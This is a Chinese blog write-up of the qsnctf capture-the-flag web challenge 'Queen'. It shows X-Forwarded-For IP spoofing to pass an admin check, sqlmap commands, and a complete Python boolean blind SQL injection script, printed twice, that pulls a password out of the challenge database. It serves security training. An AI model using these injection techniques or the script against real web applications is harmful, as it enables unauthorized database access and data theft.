青少年CTF-qsnctf-Web-Queen

题目环境:
image.png

题目难度:★★
题目描述:Q的系统会不会有漏洞?

image.png

看到了登录窗口,使用burp suite工具进行抓包

burp suite抓包

admin
1

image.png
Repeater重放
image.png
Send放包
image.png

Your IP is not the administrator’s IP address!
您的IP不是管理员的IP地址!

添加管理员IP

X-Forwarded-For:127.0.0.1

image.png

发现加密字符串

dXNlcjphZG1pbnxwYXNzOjE%3D
根据做题经验不难看出是base64编码

解密加密内容
echo "dXNlcjphZG1pbnxwYXNzOjE%3D" | base64 -d
image.png

输入的账号和密码被加密
猜测此题目涉及SQL注入

使用sqlmap工具梭一把

使用sqlmap工具
image.png

将抓包数据内容复制下来放到一个文本文件当中
注意是加X-Forwarded-For请求头的那个数据包

image.png

这里我创建了一个名为flag.txt的文本文件
并将数据包内容粘贴到了其中

sqlmap -l 一把梭
sqlmap -l flag.txt --batch --dbs

-l 从Burp或WebScarab代理日志中解析目标
--batch 可以理解为全自动化 自动选择yes
--dbs 列出所有的数据库

在root终端中运行此命令!
image.pngsqlmap -r /home/kali/桌面/flag.txt -D sql --dump

-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
–dbs 列出所有的数据库
–batch 自动选择yes
–tables 列出当前的表
–columns 列出当前的列
–dump 获取字段中的数据

这里怀疑题改了
之前可以用sqlmap跑出来
现在跑不出来了

使用python盲注脚本进行爆破

#某大佬的脚本
'''
 # @Author: St1ck4r
 # @Date: 2022-11-16 09:12:20
 # @LastEditors: St1ck4r
 # @LastEditTime: 2022-11-17 10:36:03
 # @link: https://www.st1ck4r.top
'''

import requests
import base64

url = "{此处填写url地址}/check.php?data="
flag=""
data=""
header={"X-Forwarded-For":"127.0.0.1"}

# payload = "(select group_concat(table_name) from information_schema.`TABLES` where table_schema = database())"
# payload = "(select group_concat(column_name) from information_schema.`COLUMNS` where table_name='user')"
payload = "(select  group_concat(password) from user where username=\"flag\")"

for i in range(100):
    low = 32
    high = 128
    mid = (low+high)//2
    while low < high:
        data = "user:admin' and ascii(substr({},{},1))<{} -- |pass:admin".format(payload,str(i+1),str(mid))
        data=base64.b64encode(data.encode()).decode()
        new_url = url + data
        # print(new_url)                               
        res = requests.get(new_url,headers=header)

        if("登陆成功!但是你登陆成功我也不会给你Flag" in res.text):
            high = mid
        else:
            low = mid + 1
        mid=(low+high)//2

    if mid <= 32 or mid >= 127:
        break
    flag += chr(mid-1)
# print(flag)
print(flag)

#某大佬的脚本
'''
 # @Author: St1ck4r
 # @Date: 2022-11-16 09:12:20
 # @LastEditors: St1ck4r
 # @LastEditTime: 2022-11-17 10:36:03
 # @link: https://www.st1ck4r.top
'''

import requests
import base64

url = "http://e460e3b7-ea11-46b9-a14a-6f68788be430.challenge.qsnctf.com:8081/check.php?data="
flag=""
data=""
header={"X-Forwarded-For":"127.0.0.1"}

# payload = "(select group_concat(table_name) from information_schema.`TABLES` where table_schema = database())"
# payload = "(select group_concat(column_name) from information_schema.`COLUMNS` where table_name='user')"
payload = "(select  group_concat(password) from user where username=\"flag\")"

for i in range(100):
    low = 32
    high = 128
    mid = (low+high)//2
    while low < high:
        data = "user:admin' and ascii(substr({},{},1))<{} -- |pass:admin".format(payload,str(i+1),str(mid))
        data=base64.b64encode(data.encode()).decode()
        new_url = url + data
        # print(new_url)
        res = requests.get(new_url,headers=header)

        if("登陆成功!但是你登陆成功我也不会给你Flag" in res.text):
            high = mid
        else:
            low = mid + 1
        mid=(low+high)//2

    if mid <= 32 or mid >= 127:
        break
    flag += chr(mid-1)
# print(flag)
print(flag)

image.png
得到flag:
**qsnctf{b487c107-4130-466b-acd7-7c6484729eb4}**

  • 20
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白猫a~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值